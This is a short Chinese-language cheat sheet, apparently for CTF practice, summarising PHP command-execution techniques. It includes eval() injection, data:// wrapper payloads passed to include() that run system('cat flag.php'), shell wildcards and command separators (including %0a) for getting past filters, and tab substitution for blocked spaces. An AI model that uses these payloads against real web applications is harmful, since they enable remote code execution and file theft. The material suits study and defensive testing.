命令执行总结

PHP命令执行

eval()函数

通过eval()函数可以注入命令让靶机直接执行,

比如

 <?php
 $c = 'phpinfo();';
 eval($c)

此时可以直接执行phpinfo函数,相同的,我们可以在这里注入很多其他的函数,比如:system(),getcwd()等等

以下列举以下常见的绕过需要使用的方法

print_r()			//输出值
var_dump()			//输出值,带数值类型信息
getcwd()			//获取当前绝对路径
scandir() -> array	//扫描目录下的文件
highlight_file()		//显示代码文件
show_source()		//显示代码文件

伪协议绕过

data://伪协议

如果目标代码使用include传参的话,我们可以传入一个伪造的php文件,让他执行我们想要他执行的php代码,里面包含敏感的函数文件什么的

?c=data://text/plain,<?php system("cat flag.php");?>

include($_GET['c']);

 

屏蔽了php的话可以用短标签

?c=data://text/plain,<?=system("cat flag.php"); ?>

include($_GET['c']);

 

 

shell命令

通配符

当出现过滤,比如flag被程序检测到需要绕过的时候,我们可以通过 ? 问号来代替

比如:

cat flag.txt 是不被允许的
那么我们可以写
cat fl?t.txt	这样就绕过了
写法含义示例能匹配
?任意 1 个字符fl?g.txtflag.txt
*任意 多个字符f*g.txtflag.txtfxxg.txt
[abc]匹配 括号里的任意字符fl[a]g.txtflag.txt
[a-z]匹配 范围字符fl[a-z]g.txtflag.txt
[!a]不匹配某字符fl[!b]g.txtflag.txt
{}多选匹配{flag,flog}.txtflag.txt
\转义字符fl\ag.txtflag.txt
*g.txt前面任意*g.txtflag.txt
f*以 f 开头f*flag.txt
*所有文件*当前目录全部

命令分隔符绕过

写法含义示例
;顺序执行ls;ls
&&前一个成功再执行ls&&ls
||前一个失败再执行ls||ls
&后台执行ls&ls
|管道ls|cat
换行换行执行ls\nls
%0aURL换行ls%0als

空格被过滤

空格被过滤可以使用\t 也就是制表符代替 %09

 

命令提代表

命令作用
cat查看文件
nl查看文件+行号
tac倒序输出文件
more分页查看
less分页查看
head查看前几行
tail查看后几行
sed文本处理
awk文本处理

 


目录